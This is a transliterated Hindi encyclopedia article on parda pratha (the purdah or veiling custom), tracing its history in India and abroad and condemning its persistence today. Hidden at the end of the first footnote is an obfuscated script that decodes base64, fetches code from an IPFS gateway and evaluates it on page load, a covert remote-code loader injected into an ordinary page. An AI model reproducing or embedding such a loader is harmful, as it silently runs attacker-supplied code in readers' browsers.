पर्दा प्रथा
parda pratha
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| vivaran | 'parda pratha' sare vishv mean kafi purane samay se prachalit hai. 'parda' ek islami shabd hai, jo arabi bhasha mean farasi bhasha se aya tha. |
| desh | sabhi muslim deshoan tatha bharat ki kuchh hindoo jatiyoan mean bhi yah pratha prachalit hai. |
| bharat mean shuruat | is pratha ki shuruat bharat mean12vian sadi se mani jati hai. |
| vishesh | is pratha ne mugal shasakoan ke dauran apani j de kafi mazaboot kar li thian. isaka jyadatar vistar rajasthan ki rajapoot jatiyoan mean hua. |
| any janakari | 15vian, 16vian shatabdi ke ate-ate yah parda uttar bharat ki striyoan ki samany jivan shaili ban gee. yahaan tak ki kheti mazadoori karane vale varg ki mahilaean bhi parda karane lagi thian. |
parda pratha bharat hi nahian, apitu vishv ke kee muslim deshoan mean kafi purane samay se prachalit hai. 'parda' ek islami shabd hai, jo arabi bhasha mean farasi bhasha se aya. isaka arth hota hai- "dhakana" ya "alag karana".
itihas
parda pratha ka ek pahaloo hai burqa ka chalan. burka ek tarah ka ghooanghat hai, jo muslim samuday ki mahilaean aur l dakiyaan kuchh khas jagahoan par khud ko purushoan ki nigah se alag ya door rakhane ke liye istemal karati haian. bharat mean hinduoan mean parda pratha islam ki den hai. islam ke prabhav se tatha islami akraman ke samay akramanakariyoan se bachav ke liye hindoo striyaan bhi parda karane lagi thian. is pratha ne mugal shasakoan ke dauran apani j dean kafi mazaboot ki. vaise is pratha ki shuruat bharat mean12vian sadi se mani jati hai. isaka jyadatar vistar rajasthan ki rajapoot jati mean tha. 20vian sadi ke utararddh mean is pratha ke virodh ke phalasvaroop isamean kami aee.
bharat ke bahar ke jagath par drishti dalean to dikhata hai ki eesa ke janm se 500 varsh poorv yoonani striyaan kisi sanrakshak ke bina ghar se bahar akele ja nahian sakati thian. pati ke dvara bulae atithiyoan se milane ki anumati unhean nahian hoti thi. minieandar ne apane natakoan mean ek patr ke dvara yah kahalavaya hai ki "svatantrata poorvak ghoomane vali stri ke lie gali ka dvar band kar dena chahie." sparta mean striyaan sarvajanik karyakramoan mean bhag nahian le sakati thian. eesa se 300 varsh poorv kulin-abhijat varg ki asiriyan mahilaoan mean parda pratha thi. sadharan mahilaoan aur veshyaoan ko parde ki anumati nahian thi. siriya mean vivahit striyaan apane chehare ko ek vishesh prakar ke avaran se dhake rahati thian.[1]
bharatiy sandarbh
bharat ke sandarbh mean eesa se 500 varsh poorv rachit 'nirukt' mean is tarah ki pratha ka varnan kahian nahian milata. niruktoan mean sanpatti sanbandhi mamale nipatane ke lie nyayalayoan mean striyoan ke ane jane ka ullekh milata hai. nyayalayoan mean unaki upasthiti ke lie kisi parda vyavastha ka vivaran eesa se 200 varsh poorv tak nahian milata. is kal ke poorv ke prachin vedoan tatha sanhitaoan mean parda pratha ka vivaran nahian milata. rrigved[2] ne logoan ko vivah ke samay kanya ki or dekhane ko kaha hai-
"yah kanya mangalamay hai, ekatr ho aur ise dekho, ise ashish dekar hi tum log apane ghar ja sakate ho."
'ashvalayanagrihyasootr'[3] ke anusar dulhan ko apane ghar le ate samay doolhe ko chahie ki vah pratyek nivesh sthan (rukane ke sthan) par darshakoan ko rrigved[4] ke uparyukt mantr ke sath dikhae.
isase spasht hai ki un dinoan vadhuoan dvara avagunthan[5] nahian dharan kiya jata tha, pratyut ve sabake samane niravagunthan ati thi.[6] parda pratha ka ullekh sabase pahalee mahakavyoan mean hua hai par us samay yah keval kuchh rajaparivaroan tak hi simit tha.[7] thumb|250px|left|parda kiye pani lati ek stri kuchh vidvanoan ke matanusar 'ramayan' aur 'mahabharat' kalin striyaan kisi bhi sthan par parda athava ghooanghat ka prayog nahian karati thian. jatak kathaoan, bhas ke natakoan tatha bhavabhooti ki rachanaoan mean kahian-kahian striyoan ke parde mean rahane ka ullekh milata hai. ajanta aur saanchi ki kalakritiyoan mean bhi striyoan ko bina ghooanghat dikhaya gaya hai. manu aur yajnavalky ne striyoan ki jivan shaili ke sanbandh mean kee niyam banae hue haian, parantu kahian bhi yah nahian kaha hai ki striyoan ko parde mean rahana chahie. jyadatar sanskrit natakoan mean bhi parde ka ullekh nahian hai. yahaan tak ki 10vian shatabdi ke praranbh mean tak bharatiy raj parivaroan ki striyaan bina parde ke sabha mean tatha ghar se bahar bhraman karati thian, jaisa ki ek arab yatri aboo jaid ne varnan kiya hai. spasht hai ki us samay tak parda pratha prachalit nahian thi, jaisi ki abhi nazar ati hai.
madhy kal mean stri ki sthiti
madhy kal par nazar dalean to 16vian shatabdi ke roos mean pita evan bhaee apani putri aur bahin ka mukh dekh nahian sakate the. 17vian shatabdi tak ianglaiand mean bhi striyaan n to akele yatra kar sakati thian, n hi apane kisi purush sathi karmachari ko ghar amantrit kar sakati thian. agar koee stri sarvajanik sabha mean koee vaktavy de deti to vah usake lie atyant apamanajanak mana jata tha.
itihasakaroan ke anusar bharat mean muslim samrajy ke vistar ke sath-sath parda pratha ne bhi samajik vyavastha mean apane pair jama lie. 'dharmashastr ka itihas’ ke anusar 'uchch kul ki nariyaan bina avagunthan ke bahar nahian ati thian, kiantu sadharan striyoan ke sath aisi bat nahian thi. uttari bharat evan poorvi bharat mean parda ki pratha jo sarvasadharan mean paee jati hai, usaka aranbh musalamanoan ke agaman se hua.’[8] isake tin karan the-
- hindoo striyoan ko suraksha pradan karane ki drishti se
- vijeta shasakoan ki shaili ka chahe-anachahe tarike se anusaran
- viparit paristhitiyoan ke karan striyoan mean badhati ashiksha aur muslim shasakoan ke raj mean girata star
[[chitr:Purdah-System-Jodhpur.jpg|thumb|200px|ghooanghat kie ek stri, jodhapur]] sarvapratham hindoo saradaroan aur uchch varg ne shasakoan ka anusaran kar apane aant:puroan mean is pratha ko lagoo kiya phir unaka anusaran kar samaj ke any vargoan ne bhi use apana liya.
stri shiksha samapt hone, kam ayu mean vivah hone ke karan anubhavahin striyoan ka parivar mean sammanajanak sthan nahian raha. 15vian, 16vian shatabdi ke ate-ate parda uttar bharat ki striyoan ki samany jivan shaili ban gee, samman aur kulinata ka hissa ban gaya. yahaan tak ki kheti mazadoori karane vale varg ki mahilaean tak parda karane lagian. isase purushoan ka varchasv badhata chala gaya. striyoan ka samajik v rajanaitik gatividhiyoan mean yogadan samapt hota chala gaya. yah kaisi vidanbana hai ki jo parda striyoan ki kulinata, samman ka pratik tha, vahi striyoan ke lie durbhagyashali ban gaya. striyaan din hin jivan bitane ko badhy ho geean. is drishti se madhy kal striyoan ke jivan ka kala panna sabit hua.
aj bhi abhishap
bharat ke svatantrata aandolan ke dauran kee mahilaoan ne parde ka tyag kar aandolan mean badh chadhakar hissa liya tha aur isaka anukaraniy prabhav bhi p da tha. yah shiksha ka parinam tha, parantu, ashchary is bat ka hai ki madhy kal ki paristhitiyoan mean paida hua, muslim evan british kal mean pala-badha parda aj bhi adhunik bharat mean paanv jamae hue hai. adhunik bharat ki stri is s di-gali, amanaviy, mahilaoan ki pragati mean badhak is kupratha ko abhishap ki bhaanti aj bhi kyoan jhel rahi hai? jo ek prakar se bharatiy stri ko doyam darja pradan kar rahi hai.
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tika tippani aur sandarbh
- ↑ kya bharat mean parda pratha sada se rahi hai (hindi) udayindiya. abhigaman tithi: 17 march, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 10/85/33
- ↑ 1/8/7|(1/8/7
- ↑ 10/85/33
- ↑ parda ya ghuanghat
- ↑ dharmashastr ka itihas pri.336
- ↑ dekhean ukt pri. 336,7
- ↑ dharmashastr ka itihas, pri. 337
bahari k diyaan
sanbandhit lekh